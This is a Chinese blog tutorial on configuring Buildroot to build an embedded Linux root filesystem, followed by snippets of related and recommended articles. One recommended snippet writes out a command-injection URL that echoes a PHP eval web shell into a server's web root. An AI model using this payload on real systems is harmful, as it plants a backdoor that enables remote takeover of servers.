buildroot 下载地址:https://buildroot.org/download.html

放在Linux文件下解压出来。

使用make menuconfig 进行配置相关的东西。

在使用这条命令之前,首先要安装相关的东西。

运行如下命令进行安装相关的库文件,我的是在Ubuntu14.04的环境下进行的。

sudo apt-get install libncurses5-dev

1. target options 这是相关的目标选项,有关architecture相关的配置在这里。

2. build options 这是创建的相关选项,一些基本的创建配置在这里。

3.Toolchain 这是有关编译工具。

4.kernel  顾名思义:kernel相关的东西。

5.target packages  这是一些其他的包,库相关的配置,很多软件,比如mysql,Python3, 还有一些你想要的软件,或许可以在里面找到。

6.filesystem images 文件系统的格式

7.bootloaders  顾名思义,bootloader的相关选项。

8。host utilities 这个没去看过。

9.legacy config options 这个也没研究过。

可以看出,buildroot 不仅可以定制文件系统,可以提供相关的软件配置,还可以定制bootloaders,kernel ,但是后面那两个暂时还没有用过。

最主要的几个点

1.target options

2.Toolchain

3.system configuration

4.Target packages

首先来看看 target options

architecture 相关的东西都在这里,这里不做一一说明,基本上有点嵌入式知识的人都能看懂。

2.Toolchain

选择外部的交叉编译器,以及选择你的版本。

也可以选择内部,但是操作我没有去研究过。

交叉编译器的下载地址在:  

buildroot-2016.05/output/build/.arago-2011.09-armv7a-linux-gnueabi-sdk.tar.bz2.QjFo6O/output

3. System configuration

文件系统标志以及root登录密码以及相关一些配置。

4.Target packages

  这个东西就相当的强大了对于我来说

  里面有非常多你想要的服务以及软件以及库啊以及很多很多东西。

  mysql ,python,vim , git ,以及很多很多你都可以找到。

另外一项重要的基本配置是

    make  busybox configuration

    

    这些是相关基础的配置,一般情况下不用修改。

buildroot 制作Linux文件系统初级使用教程的更多相关文章

  1. buildroot 制作的文件系统烧入到nand中打开设备没有权限

    利用buildroot 制作的文件系统,启动系统加载文件系统后出现打开设备Permission denied 解决方法记录. 这应该是制作文件系统的机制问题,暂时没有搞清楚为什么. 解决方式: 给生成 ...

  2. 使用buildroot搭建linux文件系统【转】

    本文转载自:http://blog.csdn.net/metalseed/article/details/45423061 (文件系统搭建,强烈建议直接用buildroot,官网上有使用教程非常详细b ...

  3. 利用busybox制作根文件系统

    实际项目中可以使用Buildroot制作根文件系统 1.busybox源码下载及配置 https://busybox.net/downloads/ 1.1.修改Makefile (1) ARCH = ...

  4. buildroot制作文件系统

    /******************************************************************* * buildroot制作文件系统 * 使用buildroot ...

  5. 使用BusyBox制作linux根文件系统(CramFS+mdev)

    转:http://www.360doc.com/content/10/0428/11/496343_25245348.shtml 操作系统:Ubuntu9.04 内核版本:linux-2.6.24.7 ...

  6. 制作linux根文件系统

    转载地址:http://wenku.baidu.com/view/2cb1b4707fd5360cba1adb14.html 2011十一月 24 转 嵌入式根文件系统制作 (3985) (0) 转自 ...

  7. Linux 4.10.8 根文件系统制作(二)---制作jiffs文件系统

    一.制作jiffs文件系统 制作jffs2 文件系统需要用到 mkfs.jffs2工具. 执行命令: mkfs.jffs2 -n -s 0x800 -e 0x20000  --pad=0x800000 ...

  8. hi3531 SDK已编译文件系统制作jffs2文件系统镜像并解决问题 .

    一, 安装SDK 1.Hi3531 SDK包位置 在"Hi3531_V100R001***/01.software/board"目录下,您可以看到一个 Hi3531_SDK_Vx. ...

  9. hi3531 SDK已编译文件系统制作jffs2文件系统镜像并解决这个问题 .

    一, 安装SDK 1.Hi3531 SDK包位置 在"Hi3531_V100R001***/01.software/board"文件夹下,您能够看到一个 Hi3531_SDK_Vx ...

随机推荐

  1. easyUI Form表单的密码验证是否相同

    一.js文件中的代码: $(function(){ $.extend($.fn.validatebox.defaults.rules, { equals: {//定义一个比较相等与否的函数 valid ...

  2. ubuntu亮度调节失效

    ctrl+alt+T 打开终端 输入下面的指令 sudo touch /usr/share/X11/xorg.conf.d/20-intel.conf 2 再输入下面的指令: sudo gedit / ...

  3. Django笔记-字符编码相关问题整理

    1.添加中文注释后编译出错,提示:Non-ASCII   解决方法: 在Python脚本文件的第一行或第二行添加一句:      #coding:gbk或#coding:utf-8或##-*- cod ...

  4. sn 密钥注册

    ::打开开发人员命令提示符输入一下内容与证书密码sn -i CanChou.snk.pfx VS_KEY_4B89A33EE2B53C07

  5. ImageTragick Exploit & Fix

    ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图 ...

  6. echo命令写shell

    http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php

  7. Python之路【第四篇补充】:面向对象初识和总结回顾

    面向过程的编程 面向过程:根据业务逻辑从上到下写垒代码! 例子: 需求一.有一个程序需要做身份认证: 用户名有个字典: #定义一个用户名信息字典 user_info = { "zhangsa ...

  8. border opacity

    div { border: 1px solid rgb(127, 0, 0); border: 1px solid rgba(255, 0, 0, .5); -webkit-background-cl ...

  9. Python之路【目录】 2

    http://www.cnblogs.com/wupeiqi/articles/4938499.html

  10. js使用split函数按照多个字符对字符串进行分割的方法

    这篇文章主要介绍了js使用split函数按照多个字符对字符串进行分割的方法,实例分析了split函数的使用技巧,非常具有实用价值,需要的朋友可以参考下   本文实例讲述了js使用split函数按照多个 ...